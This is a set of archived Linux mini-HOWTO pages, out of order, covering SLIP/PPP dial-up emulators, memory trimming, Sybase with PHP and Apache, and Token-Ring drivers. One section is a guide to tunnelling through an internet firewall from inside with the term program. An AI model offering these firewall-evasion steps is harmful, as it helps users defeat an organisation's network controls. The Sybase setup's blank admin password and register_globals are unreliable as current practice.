The text based News Reader SLRN is fairly simple to install and use. It is a true NNTP newsreader, which means no local news transport is required to make it work (you don't have install Cnews or INN). It does require that you have access to an NNTPserver, naturally, but most ISPs have this. It is text based, but has color and mouse support, and runs fine in an rxvt window.

The X based News Reader KNews is almost perfect. As with SLRN above, no local transport is required, but an NNTP server is. It's at least worth a look.

5.3. Mosaic/Netscape

Obviously, you will need to have X running for this to work, but it's a simple matter of FTPing the binary, unpacking it, and installing it.

Prev | Home | Next
Preparing your Linux Machine |  | Miscellaneous


Preparing your Linux Machine

SLIP/PPP Emulator mini-HOWTO
Prev Next

4. Preparing your Linux Machine

In a nutshell, here's what's required. I'll explain the first three in detail.

  • Compile your kernel to include SLIP and TCP/IP

  • Edit some files in /etc

  • Install and configure dip

  • Install pppd (optional, for PPP only)

You will also need to get an emulator binary appropriate for your remote host and install it. SLiRP is available at Sunsite and other fine Linux FTP sites. All of the relevant info for TIA is available at TIAs home site.

That's it! Let's get started.

4.1. Compiling your Kernel

If you have never done this, you should. And you should read the FAQ first, but don't worry, it's easy. If you want, you can e-mail me and I'll help.

I'll assume that you have here, for the sake of brevity. When you 'make config', look for "Network Devices". Say 'y', of course, then say 'y' to SLIP, CSLIP, (or PPP) and TCP/IP and 'n' to everything else, unless you have ethercards or need some other protocol for something else. If you don't do this, it won't work! Finish compiling and installing the new kernel, then,

4.2. Edit some files in /etc

These files will set up your routes to your remote host. /etc is the directory for system configurations. Replace everything in double quotes with the appropriate values, naturally (but don't include the quotes - they are there for reference). There are three files you need to edit, they are:

  • /etc/hosts
    #The next line is required to be EXACTLY as below.
127.0.0.1       localhost

#Note at the end of the next two entries the hostname is repeated.
#This abbreviation is an alias, and is required for the first entry.
#If you're on a LAN, you'll need to substitute your IP address for
#the first one below.
192.0.2.1       "yourhostname.domain.name  yourhostname"
"XXX.XXX.XX.XX"	"remotehostname.domain.name  remotehostname"

  • /etc/host.conf
    order hosts, bind
multi on

  • /etc/resolv.conf
    domain "yourdomain.name"
#The next line usually uses the same remote IP address that's in /etc/hosts
nameserver "XXX.XXX.XX.XX"

  • To use an NNTPserver, put this line in your /etc/profile
    export NNTPSERVER="remote.hosts.nntpservername"

4.3. DIP

DIP (Dialup Internet Protocol) is what you will use to dial up the remote host, start the emulator, and convert the line to SLIP/PPP. It comes in the "N" set of Slackware, along with a bunch of clients and utilities, some of which you may want to install also =). It is also available at Sunsite in an individual tar file

Once you have it installed, you will need to have a dip script, Here's a sample, just plug in the appropriate stuff where the double quotes are (but don't include the quotes, they are there for reference).

main:
  get $local "yourhostname.domain.name"
  get $remote "remotehostname.domain.name"

#Your port here
  port cua"?"

#Use 115200 for 28.8 modems
  speed 57400
  reset

#don't use spaces in your AT command string!
  init AT "string of commands"
  wait OK 5

# This will redial. If it doesn't work, play with the wait time (listen
# to your modem). If it still doesn't work, mail me.
# See also; the note at the bottom of the script re: error codes.

dial:
  dial "phonenumber"
  print Dialing...
  if $errlvl != 0 goto error

#You may need to change this wait time to suit your modem
  wait BUSY 20
  if $errlvl == 0 goto dial

login:
  print Connected and Logging in...

#This wait and send gets me past my hosts Annex. Change for your site!
  wait ==> 60
  send 4\n
  wait ogin: 60
  if $errlvl != 0 goto login_error1
  send "LOGIN"\n
  wait assword: 60
  if $errlvl != 0 goto login_error2
  send "PASSWORD"\n

loggedin:
  wait "SYSTEM PROMPT" 60
  if $errlvl != 0 goto shell_error
  print Logged in!
  send "emulator startup command"\n
  wait "emulator startup response" 60
  if $errlvl != 0 goto emu_error

#The recommended mtu setting is 1500, but this is faster interactively.
#Ftp may be slower, so adjust to taste.
  get $mtu 296
  default

done:
  print CONNECTED to $remote with address $rmtip
  mode CSLIP
  goto exit

error:
  print Dialing Error

login_error1:
  print No Login

login_error2:
  print No Password prompt

shell_error:
  print No shell prompt

emu_error:
  There was a problem starting the emulator

exit:

#This will error out when the -v flag is used, but work when run normally
#(ends dip at a local prompt).
  \r

4.3.1. DIP Notes

Newer versions of dip don't return modem status codes (BUSY, NO CONNECT, etc.), they use numbers instead. Here's a table:

  • 0 = OK

  • 1 = CONNECT

  • 2 = ERROR

  • 3 = BUSY

  • 4 = NO CARRIER

This would make your dial section look like this:
dial:
  dial "phonenumber"
  print Dialing...
  if $errlvl != 0 goto error
  wait 1 20
  if $errlvl != 1 goto dial

Thanks to Lee Olds <lee@eskimo.com> for that bit.

\n = newline, \r = carriage return. You may require one or the other (or both) in the appropriate places. If the ones provided don't work, experiment.

A word about the form of the wait and sends. If it isn't clear by the example, here's what's happening:

wait ogin: 60

The script will wait for the remote to send 'ogin:' for 60 seconds. When it gets it, the script advances. If it doesn't get it, it will advance after the timeout of 60 seconds.

if $errlvl != 0 goto login_error

(This whole line is optional.) If the script is advancing because it got what it was waiting for, this gets skipped. if the script is advancing because it timed out, it will go to where you tell it to ('login_error1' in this case.

send "LOGIN"\n

DIP will send 'LOGIN' and a newline

You can put in sleep statements if you need to, like this: "sleep 10" This will make the script pause for 10 seconds.

After editing this file, rename it, say, remote.dip and put it in /root. Then, as root, run 'dip remote'. Use the -v flag the first time to debug it ('dip -v remote'), this will show you all the steps dip takes.

Dip will only run as root, but there is a way to make it run from a user account. For now, if you need this info, ask. I may include it in this file later if enough people want it.

If dip errors out right away, try removing the comments from the script.

4.4. PPP

The above gets you rolling with CSLIP, which is really fine most of the time. It truly is easy to get working, since the protocol is supported at the kernel level - just make sure it's in there and it works.

However, some of you will want PPP, for what reasons, only you can say. I'm not going to tell you how to set it up here, there's a whole other HOWTO written just for that. What I will do is tell you what the gotchas are when using PPP with an emulator.

First, the latest version of DIP says you can use it to start PPP, and you can, BUT it only starts the PPP daemon - no flags, nothing. So if you want to use DIP to start PPP, be sure to put all of your startup info in the /etc/ppp/options file, or it won't work.

Speaking of the options file, one of the things that MUST be in there no matter how you start pppd is this: '192.0.2.1:XXX.XXX.XX.XX'. What this is is 'localIPaddress:remoteIPaddress'. You need it there because normally pppd can fill in the blank itself, but fails when connecting to an emulator.

Be sure to get the latest and greatest pppd package. It seems there were a few versions recently that had a bit of trouble.

Lastly, unless you have a good reason to use PPP, or just want to learn how it works, you really don't need it. I have tried them both, and didn't notice any performance difference with the standard set of clients. Of course, Your Mileage May Vary. :)

Prev | Home | Next
Prerequisites |  | Now What?


Prerequisites

SLIP/PPP Emulator mini-HOWTO
Prev Next

3. Prerequisites

Enough already! How do I set it up?

Alright hotrod, we're getting there, but first there's some info you need to get, and a couple of explanations.

First, you need to get the IP address of your provider, if you don't have it already. You can do this by typing 'who' at a shell prompt there, or reading their /etc/hosts, or even just asking them. While your getting that, get the IP address of the POP/SMTP host and the NNTP server (if you don't know what those are, trust me and ask for them anyway, you'll need 'em).

Next, let me explain quickly about hostnames and domain names. The hostname is the first part of a machines name, the domain is the rest of it. Like this: hostname.domain.name (a four parter would be hostname.do.main.name). Together, they make a Fully Qualified Domain Name (FQDN).

The name of your Linux machine is stored in /etc/HOSTNAME, and yes, you can change it. In fact, please do (if you're using Slackware, it'll be "darkstar.frop.org" by default). Just edit the /etc/HOSTNAME file to be whatever you want - remember, if you are using an emulator, you are essentially invisible to the Net at large, so you can be creative. However, if you plan to get a real SLIP/PPP connection down the road sometime, you'll probably want to conform to being a sub-host of your provider. For example, if your provider is "info.superhiway.com", the domain is "superhiway.com" and the hostname is "info". So you could either be "offramp.info.superhiway.com" or just "offramp.superhiway.com". Either would work, and in either case your hostname is "offramp".

Prev | Home | Next
How Does an Emulator Work? |  | Preparing your Linux Machine


Conclusions

Prev

5. Conclusions

The previous discussion illustrates the steps I took to tighten up my memory usage on my Linux box. Hopefully I have provided you with some insight into what you can do with your Linux box to conserve memory. Good luck and happy hacking!

Prev | Home
Daemons |


Daemons

4. Daemons

Many Linux distributions run daemons most of us will never use. Most of these daemons are loaded by scripts. Where these scripts are and what they are called depends on your Linux distribution. Slackware set-up scripts are buried in /etc/rc.d/rc.*.

Before you proceed, a knowledge of Unix shell script programming would be a definite asset. However, if you have no experience writing Unix shell scripts, what follows is probably the quickest introduction to shell script programming ever written.

Take the following shell script:

#!/bin/sh echo "hello world"
            #echo "good bye cruel world"

The previous code will echo the string "hello world". Shell scripts must contain the the line
"#!/bin/sh"
at the very top line. After that every line is executed as if you had typed it at the keyboard (think of shell scripts as nothing more then glorified keyboard macros).

Lines which begin with a '#' are said to be commented out because they do not get executed by the shell. Most start-up scripts when they load daemons look like:

if somecondition
                do something
                  fi

What you want to do is comment out every line starting with the
if
statement and ending with the
fi
statement.

If you want to find where a daemon is loaded, search the start-up scripts for the name of the daemon. If I wanted to find where inetd is loaded in Slackware I would do the following:
$ cd /edt/rc/d $grep -n inetd rd.*

4.1. inetd

inetd allows people to do things like telnet, ftp, and send talk requests to your machine. If you never use your system as a server or need to access any of its services remotely you can remove inetd.

4.2. lpd

lpd is used to print files on your printer using the lpr command. If you never print on your Linux box you can remove lpd. If, however, you own a HP Deskjet ™ printer and would like to print, I highly recommend the package I put together called dj-printcap which is available at:

ftp://sunsite.unc.edu/pub/Linux/system/Printing/dj-printcap.tar.gz

4.3. nfsd and mountd

These two daemons are used to run an NFS server. If you never use your Linux system as an NFS server you can safely remove these two daemons.

4.4. portmap

The portmap daemon is used to handle RPC services. If you do not run an NFS server or any other RPC programs you can remove portmap.

4.5. sendmail

sendmail is another daemon which requires a fair bit of memory. If you never use your Linux box as a relay for sending e-mail or you never receive mail on your Linux box, you can probably remove sendmail. If you do send e-mail from your Linux box most e-mail clients can be set-up to send e-mail from another mail server.

4.6. others

There may be other daemons your system starts up which you do not need. Remove what you feel you have to. Two daemons which you must run are syslogd and klogd.

Prev | Home | Next
Virtual Consoles |  | Conclusions


Small Memory mini-HOWTO

Todd Burgess

tburgess@uoguelph.ca

2000-12-12

Revision History
Revision 0.1 2000-12-01 Revised by: tb

Describes how to run Linux on a system with a small amount of memory.

Table of Contents
1. Introduction
2. Linux Kernel
3. Virtual Consoles
4. Daemons
4.1. inetd
4.2. lpd
4.3. nfsd and mountd
4.4. portmap
4.5. sendmail
4.6. others
5. Conclusions
Next
Introduction


Introduction

1. Introduction

Assuming buying more memory is out of the question there are many things you can do to tighten up memory usage in Linux.

Many Linux distributions out of the box are quite bloated from a memory perspective. They run more services and offer more features than most of us will ever need. By removing many of these services you can free up several megabytes of real memory.

My own system is a 486DX2-66 with 12MB of physical memory and 12MB of swap space. It has run Linux for the last 3 years quite happily, and hopefully it will run Linux for several more years. :)

Prev | Home | Next
 |  | Linux Kernel


Linux Kernel

2. Linux Kernel

All the Linux kernels which come with distributions are quite bloated and contain more features than any of us will ever need or use. If you have not re-compiled your own kernel, it is highly recommended that you do so. How to re-compile a kernel is beyond the scope of this document, but many excellent Linux books and guides cover this subject in intimate detail.

If you do re-compile your kernel, remember to put in no more features than you need. For instance: how many of you include PLIP support in your kernel? How many of you who include it actually use it? Smaller kernels require less time to load, use less memory, and use less CPU cycles.

Another thing is modules. I personally do not use them because I found them to be a cumbersome. If you use them and like them then they can help to relieve "kernel bloat."

Prev | Home | Next
Introduction |  | Virtual Consoles


Virtual Consoles

3. Virtual Consoles

VCs are a great way to free up memory. Most Linux distributions run about 6 of them out of the box. On average running 6 VCs requires about 4MB of memory. Removing a couple of them can free up a couple MBs of memory. Most users can get away with running only 3 or 4 VCs. How many you choose to remove is a matter personal preference. Just remember that the fewer you run, the more memory your applications will have to run.

The file which outlines how many VCs get loaded is /etc/inittab. In order to remove VCs:

  1. Load /etc/inittab in a text editor.

  2. Look for a line which looks like the following line (the key feature being a line which starts with c1):

    c1:12345:respawn:/sbin/getty tty1 38400
                    linux

    Start at the highest number (i.e. c6) and comment it out by inserting a '#' in the first row. Repeat this step as many times as needed. Remember every line you comment out is one less VC running.

  3. Re-boot the system for your changes to take effect.

Prev | Home | Next
Linux Kernel |  | Daemons


Configure Environment

Sybase-PHP-Apache mini-HOWTO
Prev Next

4. Configure Environment

After installing Sybase, you need to setup the Linux environment in order to allow clients to connect to the dataserver.

The first thing we need to do is to set certain environment variables in /etc/profile. Open /etc/profile as super user and insert the following lines:

    export SYBASE=/opt/sybase
    export SYBPLATFORM=linux
    export LD_LIBRARY_PATH=$SYBASE/lib
    export LC_ALL=default
    export PATH="$SYBASE/bin:$PATH"
    export DSQUERY=SYBASE

Next you need to change to permissions of the Sybase directory. This fixes some problems where PHP is unable to connect to the Sybase server. Run the following command as super user:

chown -R sybase:sybase /opt/sybase

To test whether your Sybase environment works, type the following:

    # su - nobody
    $ isql -Usa -P
    1> sp_helpdb
    2> go

You should see a list of databases. To test whether you can use the sample datebase, now type:

    1> use pubs2
    2> go
    1> select * from titles
    2> go

If you a list, you have sucessfully set up Sybase.

NOTE: You may need to do the following in order for PHP to be able to access Sybase. Edit the file /opt/sybase/install/rc.sybase and remove the line that says:

    unset LANG; unset LC_ALL; \

I don't know why that line is there, but it can stuff things up.

NOTE: Some people have reported problems with the way the Sybase init scripts try to guess the Sybase directory. If you see the following error:

    errorerwerqwerqwerwerwer

when trying to run sybinstall.sh or rc.sybase, then you need to change

You may also want to add sybase to the list of services to run at boot time. To do this execute the following commands:

    # ln -s /opt/sybase/install/rc.sybase /etc/rc.d/init.d/sybase
    # ln -s /etc/rc.d/init.d/sybase /etc/rc.d/rc3.d/S15sybase
    # ln -s /etc/rc.d/init.d/sybase /etc/rc.d/rc3.d/K15sybase

Now Sybase will start whenever you boot into runlevel 3.

NOTE: The note for

4.1. Preconfigure Apache

Download and unpack the latest Apache distribution. In the Apache directory issue the following command:

    # ./configure --prefix=/usr/local/apache

I think the 'prefix' value specifies where you want to store your html files; I just set it to the same as the apache install directory, where Apache will put its files when you run 'make install'.

Prev | Home | Next
Install Sybase |  | Install PHP


Copyright and License

Sybase-PHP-Apache mini-HOWTO
Prev Next

1. Copyright and License

This document is copyright 2001 by Tyson Lloyd Thwaites, and is released under the terms of the GNU Free Documentation License, which is hereby incorporated by reference. Send feedback to tyson.lloydthwaites@ite.com.au.

Prev | Home | Next
Sybase-PHP-Apache mini-HOWTO |  | Install Linux


Sybase-PHP-Apache mini-HOWTO

Tyson Lloyd Thwaites

tyson.lloydthwaites@ite.com.au

Revision History
Revision 1.3 | 2001-07-11 | Revised by: TLT
Fixed example PHP script.
Revision 1.2 | 2001-06-13 | Revised by: TLT
Shane Gelven pointed out an error in the init script paths.
Revision 1.1 | 2001-05-29 | Revised by: TLT
Updated environment configuration section, changed HOWTO name.

This HOWTO explains how to set up a Linux machine to run an Apache web server using PHP to access a Sybase-ASE database.

Table of Contents
1. Copyright and License
2. Install Linux
3. Install Sybase
4. Configure Environment
4.1. Preconfigure Apache
5. Install PHP
6. Install Apache
7. Test the System
8. Post Install Tasks
Next
Copyright and License


Install Apache

Sybase-PHP-Apache mini-HOWTO
Prev Next

6. Install Apache

Now cd back into the apache unpack directory. Issue the following commmands:

    # ./configure --activate-module=src/modules/php4/libphp4.a
    # make && make install

This should proceed without any problems. When its done, edit the file /usr/local/apache/conf/httpd.conf and uncomment the following line:

    AddType application/x-httpd-php .php

This tells apache to allow PHP to process files with a .php extension. You may also want to add some other extensions to the end of this line, eg:

    AddType application/x-httpd-php .php .php3 .html .htm

You now have all the software you need and are ready to test your system.

Prev | Home | Next
Install PHP |  | Test the System


Install Linux

Sybase-PHP-Apache mini-HOWTO
Prev Next

2. Install Linux

This howto assumes you have already installed a working Linux system. This howto is based on a Redhat 6.2 system. I would appreciate any feedback on setting this up on other distros.

The first thing you will have to do is uninstall the apache and mod_php rpms. Try the following:

    # rpm -e apache
    # rpm -e httpd
    # rpm -e mod_php
    # rpm -e php

That should get rid of them. Just to be sure, run this:

    # rpm -qa | less

and check that there is nothing to do with Apache or PHP left on you system.

Prev | Home | Next
Copyright and License |  | Install Sybase


Install PHP

Sybase-PHP-Apache mini-HOWTO
Prev Next

5. Install PHP

Download the latest PHP distribution and unpack it.

Change to the php directory and run the configure script. You need to pass certains options to the script. To enable PHP access Sybase, you need --with-sybase-ct. You will also need to specify the web server interface to use; in our case, this is Apache, so we use --with-apache To build a CGI version of PHP, (which is also very useful as a shell scripting tool), just leave out the --with-apache.

Here is a complete configure script with the above two options, as well as a number of other options that are useful.

    # ./configure --with-apache=../apache_1.3.19
      --with-sybase-ct=/opt/sybase --enable-bcmath --enable-calendar
      --enable-ctype --enable-exif --enable-ftp --enable-gd-imgstrttf
      --with-gd --enable-trans-sid --enable-shmop --enable-sockets
      --enable-sysvsem --enable-sysvshm --enable-wddx

You will need to change to apache path to wherever you unpacked your apache distribution.

If the configure scripts completes successfully, you can then proceed:

    # make && make install

PHP should compile without any hitches. After it has installed, you need to install the php.ini file:

    # cp php.ini-optimized /usr/local/lib/php.ini

Now we need to change a few things in /usr/local/lib/php.ini. Set the following parameters to the ones specified below:

    magic_quotes_sybase = on
    sybct.min_server_severity = 11
    sybct.min_client_severity = 11

I also like to set the following:

    register_globals = on
    include_path=.:/usr/local/lib/php

You have now completed the PHP installation.

Prev | Home | Next
Configure Environment |  | Install Apache


Install Sybase

Sybase-PHP-Apache mini-HOWTO
Prev Next

3. Install Sybase

Download the Sybase-ASE files from linux.sybase.com. Sybase-ASE 11.0.3.3 is free for production. This howto refers to that version.

First, install the Sybase RPMS as root:

    # rpm -ivh sybase-ase-11_0_3_3-6_i386.rpm
    # rpm -ivh sybase-doc-11_0_3_3-6_i386.rpm
    # rpm -ivh sybase-ocsd-10_0_4-6_i386.rpm

For information on how to configure Sybase, read the instructions in the file /opt/sybase/doc/howto/howto-ase-quickstart.html. This document is very good, so we shouldn't need any more information here.

Hint: After you have installed the sample database and run a select against it, you can stop following the instructions. The rest of the howto goes on to uninstall the sample database, but we want to keep it for testing later.

NOTE: Some people have reported problems with the way the Sybase init scripts try to guess the Sybase directory. If you see the following error:

    export: sybase-ase-11.0.3.3: not a legal variable name

when trying to run sybinstall.sh, then you need to edit the sybinstall.sh. Open the script and find the following lines (around line 104):

# export SYBASE=/opt/sybase
export SYBASE=`rpm -q --queryformat \
        '%{installprefix}\n' sybase-ase-11.0.3.3`

Change these lines so they look like this:

export SYBASE=/opt/sybase
#export SYBASE=`rpm -q --queryformat \
#		'%{installprefix}\n' sybase-ase-11.0.3.3`

This hardcodes the SYBASE path to /opt/sybase. If you did install Sybase somewhere non-standard and you get this error, you will have to change this path to point to your Sybase directory.

Prev | Home | Next
Install Linux |  | Configure Environment


Post Install Tasks

Sybase-PHP-Apache mini-HOWTO
Prev

8. Post Install Tasks

After you have a working system, first of all, breath a deep sigh of satisfaction. (I also suggest eating something.) After this, there are a few post-install tasks you should perform.

The FIRST thing you should do is change the password for the 'sa' user. By default this password is blank. To set a password for sa, type the following in isql:

        1> sp_password null, 'new_pass123', 'sa'
        2> go

This will set the password. You will now need to pass this as a parameter to sybase_connect. You will also need to specify it when starting isql, which you can do by using the '-P' switch.

NOTE: Once you have ste a password, you cannot unset it. (Sybase requires a minumum of six characters in a password, so '' won't be accepted.)

You also may wish to install the Windows client tools. These can be found on a CD if you bought a cope of ASE from Sybase. Otherwise, if you are using the free 11.0.3.3 version, you can download a demo of ASE 12.0 for NT, and only install the 'ASE Plugin for Sybase Central', 'ASE ODBC Driver' and 'Sybase Central' components.

: I am not sure of the licensing issues involved in using the client tools if you haven't purchased ASE. Although I don't think it would be a problem, you should contact Sybase directly if you want to be sure.

I am open to more hints to put in this section.

Prev | Home
Test the System |


Test the System

Sybase-PHP-Apache mini-HOWTO
Prev Next

7. Test the System

First, make sure Apache and Sybase are started:

    # /usr/local/apache/bin/apachectl start
    # /opt/sybase/install/rc.sybase start

Now go to the directory /usr/local/apache/htdocs. Create a file called test.php and insert the following contents:

        <?php
                $con = sybase_connect("SYBASE", "sa", "");
                sybase_select_db("pubs2");
                $qry = sybase_query("select * from titles", $con);

                echo sybase_result($qry, 1, 1);

                sybase_close($con);
        ?>

Save the file and then access the following URL in your browser:

    http://localhost/test.php

If you see some text, then congratulations! You have a complete Linux/Apache/PHP/Sybase-ASE installation. If not...well, there you go. Make sure you actually have installed the pubs2 database. If you are not sure, try running:

        # isql -Usa -P < /opt/sybase/scripts/installpubs2

Email me if you have any problems, corrections (please!) or additions, but please do not email me unless you have tried everything in this howto! Thanks.

Prev | Home | Next
Install Apache |  | Post Install Tasks


Acknowledgments

Using Term to Pierce an Internet Firewall mini-HOWTO
Prev

13. Acknowledgments

Thanks for valuable suggestions from:

  • Gary Flake flake@scr.siemens.com

  • Bill Riemers bcr@physics.purdue.edu

  • Greg Louis glouis@dynamicro.on.ca

Prev | Home
Related Resources |


The Basic Procedure

Using Term to Pierce an Internet Firewall mini-HOWTO
Prev Next

3. The Basic Procedure

Setting up a term connection over a telnet substrate is a two-phase process. First your usual telnet client is used to set up a telnet connection and log in. Next, the telnet client is paused and control of the established telnet connection is given to term.

Prev | Home | Next
Introduction |  | Detailed Directions


Bugs and Term Wish List

Using Term to Pierce an Internet Firewall mini-HOWTO
Prev Next

10. Bugs and Term Wish List

The linecheck program has some problems checking telnet connections sometimes. This is sometimes because it doesn't check the return code of the read() call it makes. For network connections, this call to read() can return -1 with an EINTR (interrupted) or EAGAIN (try again) error code. Obviously this should be checked for.

There are a number of features that could ease the use of term over telnet. These primarily relate to an assumption that influenced the design of term, namely that the connection is low bandwidth, low latency, and somewhat noisy.

A telnet connection is in general high bandwidth, high latency, and error free. This means that the connection could be better utilized if (a) the maximum window size was raised, well above the limit imposed by term's N_PACKETS/2=16, (b) there was an option to turn off sending and checking packet checksums, and (c) larger packets were permitted when appropriate.

Also, to enhance security, it would be nice to have a term option to log all connections through the socket it monitors to a log file, or to stderr, or both. This would allow one to see if one's term connection is being subverted by nasty hackers on the outside insecure machine.

Prev | Home | Next
Telnet Mode |  | Tricks That Do Not Seem to Work


Detailed Directions

Using Term to Pierce an Internet Firewall mini-HOWTO
Prev Next

4. Detailed Directions

First, from a machine inside the firewall, telnet to a target machine outside the firewall and log in.

Unless you are under linux and will be using the proc filesystem (see below) make sure your shell is an sh style shell. Ie if your default shell is a csh variant, invoke telnet by:

setenv SHELL /bin/sh; telnet machine.outside

After logging in, on the remote (outside) machine invoke the command:

term -r -n off telnet

Now break back to the telnet prompt on the local (inside) machine, using ^] or whatever, and use the telnet shell escape command ! to invoke term:

telnet> ! term -n on telnet >&3 <&3

That's it!

If you have a variant telnet, you might have to use some other file descriptor than 3; easy to check using strace. But three seems to work on all bsd descendent telnet clients I've tried, under both SunOS 4.x and the usual linux distributions.

Some telnet clients do not have the ! shell escape command. Eg the telnet client distributed with Slackware 3.0 is one such client. The sources that the Slackware telnet client is supposedly built from

ftp://ftp.cdrom.com:/pub/linux/slackware-3.0/source/n/tcpip/NetKit-B-0.05.tar.gz

A simple solution is therefore to obtain these sources and recompile them. This unfortunately is a task I have had no luck with. Plus, if you are running from inside a SOCKS firewall, you will need a SOCKSified telnet client anyway. To that end, I was able to compile a SOCKSified telnet client from:

ftp://ftp.nec.com/pub/security/socks.cstc/socks.cstc.4.2.tar.gz

or, if you're outside the USA,

ftp://ftp.nec.com/pub/security/socks.cstc/export.socks.cstc.4.2.tar.gz

Alternatively, under linux kernels up to 1.2.13, you can pause the telnet with ^]^z, figure out its pid, and invoke:

term -n on -v /proc/&,t;telnetpid>/fd/3 telnet

This doesn't work with kernels after 1.3.x, which closed some mysterious security hole by preventing access to these fd's by processes other than the owner process and its children.

Prev | Home | Next
The Basic Procedure |  | Multiple Term Sockets


Direction

Using Term to Pierce an Internet Firewall mini-HOWTO
Prev Next

7. Direction

Obviously, if you are starting from outside the firewall and zitching in using a SecureID card or something, you will want to reverse the roles of the remote vs local servers given above. (If you don't understand what this means, perhaps you are not familiar enough with term to use the trick described in this file responsibly.)

Prev | Home | Next
The <˜/.term/termrc.telnet Init File |  | Security


Using Term to Pierce an Internet Firewall mini-HOWTO

Barak Pearlmutter

bap@cs.unm.edu

David C. Merrill

david@lupercalia.net

Copyright © 1996 by Barak Pearlmutter

Copyright © 2001 by David C. Merrill

Revision History
Revision 1.1 | 2001-07-14 | Revised by: dcm
Cleaned up a bit, reorganized a bit, converted to DocBook SGML and relicensed under GFDL.
Revision 1.0 | 1996-07-15 | Revised by: pb
Initial Release.

This document explains how to use the term program to pierce a firewall from the inside, even without root privileges.

Term is an old program that almost no one uses anymore, because the 7-bit serial lines it is meant to cross are nowhere to be found anymore, and full IP ppp access is dirt cheap.

Important

Archived Document Notice: This document has been archived by the LDP because it does not apply to modern Linux systems. It is no longer being actively maintained.

Table of Contents
1. Preface
1.1. Disclaimer
1.2. License
2. Introduction
3. The Basic Procedure
4. Detailed Directions
5. Multiple Term Sockets
6. The <˜/.term/termrc.telnet Init File
7. Direction
8. Security
9. Telnet Mode
10. Bugs and Term Wish List
11. Tricks That Do Not Seem to Work
12. Related Resources
13. Acknowledgments
Next
Preface


Introduction

Using Term to Pierce an Internet Firewall mini-HOWTO
Prev Next

2. Introduction

The term program is usually used to provide host-to-host services over a modem or serial line. However, sometimes it is useful to establish a term connection between two machines that communicate via telnet. The most interesting example is connecting two hosts which are separated by ethernet firewalls or SOCKS servers. Such firewalls provide facilities for establishing a telnet connection through the firewall, typically by using the SOCKS protocol, to allow inside machines to get connections out, and requiring outside users to telnet first to a gateway machine which requires a one-time password. These firewalls make it impossible to, for instance, have X clients on an inside machine communicate with an X server on an outside machine. But, by setting up a term connection, these restrictions can all be bypassed quite conveniently, at the user level.

Prev | Home | Next
Preface |  | The Basic Procedure


Preface

Using Term to Pierce an Internet Firewall mini-HOWTO
Prev Next

1. Preface

1.1. Disclaimer

While every precaution has been taken in the preparation of this document, the Linux Documentation Project and the author(s) assume no responsibility for errors or omissions, or for damages resulting from the use of the information contained herein.

1.2. License

This document is made available under the terms of the GNU Free Documentation License (GFDL), which is hereby incorporated by reference.

Prev | Home | Next
Using Term to Pierce an Internet Firewall mini-HOWTO |  | Introduction


Related Resources

Using Term to Pierce an Internet Firewall mini-HOWTO
Prev Next

12. Related Resources

A vaguely related trick is to SOCKSify one's Term library. Details, including patches to SOCKS, are available from Steven Danz danz@wv.mentorg.com.

Prev | Home | Next
Tricks That Do Not Seem to Work |  | Acknowledgments


Security

Using Term to Pierce an Internet Firewall mini-HOWTO
Prev Next

8. Security

This is not much more of a vulnerability than the current possibility of having a telnet connection hijacked on an unsecured outside machine. The primary additional risk comes from people being able to use the term socket you set up without you even being aware of it. So be careful out there. (Personally, I do this with an outside machine I know to be pretty secure, namely a linux laptop I maintain myself that does not accept any incoming connections.)

Another possibility is to add

socket off

to the remote ˜/.term/termrc.telnet file, or

add "-u off"

to the invocation of term. This prevents the socket from being hijacked from the remote end, with only a minor loss of functionality.

Prev | Home | Next
Direction |  | Telnet Mode


Telnet Mode

Using Term to Pierce an Internet Firewall mini-HOWTO
Prev Next

9. Telnet Mode

Be sure the remote telnetd is not in some nasty seven-bit mode. Or if it is, you have to tell term about it when you invoke term, by adding the -a switch at both ends. (I sometimes use >^] telnet> set outbin or set bin, or invoke telnet with a -8 switch to put the connection into eight-bit mode.)

Prev | Home | Next
Security |  | Bugs and Term Wish List


The <˜/.term/termrc.telnet Init File

Using Term to Pierce an Internet Firewall mini-HOWTO
Prev Next

6. The <˜/.term/termrc.telnet Init File

I have checked line clarity using linecheck over this medium. I expected it to be completely transparent, but it is not. However, the only bad character seems to be 255. The ˜/.term/termrc.telnet I use (the .telnet is the name of the term connection, see above) contains:

baudrate off
escape 255
ignore 255
timeout 600

Perhaps it could be improved by diddling, I am getting a throughput of only about 30k cps over a long-haul connection through a slow firewall. Ftp can move about 100k cps over the same route. A realistic baudrate might avoid some timeouts.

Prev | Home | Next
Multiple Term Sockets |  | Direction


Multiple Term Sockets

Using Term to Pierce an Internet Firewall mini-HOWTO
Prev Next

5. Multiple Term Sockets

It is a good idea to give the term socket an explicit name. This is the telnet; argument in the invocations of term above. Unless you have the TERMSERVER environment variable set to telnet as appropriate, you invoke term clients with the -t switch, e.g., trsh -t telnet.

Prev | Home | Next
Detailed Directions |  | The <˜/.term/termrc.telnet Init File


Tricks That Do Not Seem to Work

Using Term to Pierce an Internet Firewall mini-HOWTO
Prev Next

11. Tricks That Do Not Seem to Work

Some telnet clients and servers agree to encrypt their communications, to prevent eavesdropping on the connection. Unfortunately, the hack used above (using the network connection that the telnet client has set up while the telnet client is idle) won't work in that case. Instead, one really must go through the telnet client itself, so it can do its encryption. It seems like that requires a simple hack to the telnet client itself, to add a command that runs a process with its stdin and stdout are connected to the live telnet connection. This would also be useful for various bots, so perhaps someone has already hacked it up.

Prev | Home | Next
Bugs and Term Wish List |  | Related Resources


Which driver should I use?

Token-Ring mini-HOWTO
Prev Next

3. Which driver should I use?

The realm of Token Ring drivers on Linux has expanded quite a bit in last couple of years. It's not just ibmtr anymore! So as a result this map will tell you given a card which driver you should try and the recommended minimum kernel version (if any).

3COM

  • 3C389 PCMCIA -- ibmtr_cs

  • 3C619, 3C619B or 3C619C Token Link -- ibmtr

  • 3C319 Velocity ISA -- try ibmtr

  • 3C359 Velocity XL - PCI -- driver available from http://www.linuxtr.net

  • 3C339 Velocity PCI -- tms380tr

IBM

  • PCI Token Ring Adaptor -- olympic

  • PCI Wake on Lan Token Ring Adaptor -- olympic

  • 16/4 Token Ring PCI Adaptor 2, Wake On Lan, and Wake on Lan Special -- olympic

  • High Speed 100/16/4 Token Ring -- olympic

  • Turbo 16/4 ISA adapter -- ibmtr

  • Token Ring Auto 16/4 ISA adapter -- ibmtr

  • Token Ring Auto 16/4 adapter /A -- ibmtr

  • Token Ring 16/4 adapter /A -- ibmtr

  • Token Ring adapter /A -- ibmtr

  • Token Ring adapter II (4 Megabit only) -- ibmtr

  • 16/4 ISA Token Ring card (16bit) -- ibmtr

  • 16/4 ISA Token Ring card (8bit) -- ibmtr

  • All LANStreamer -- lanstreamer

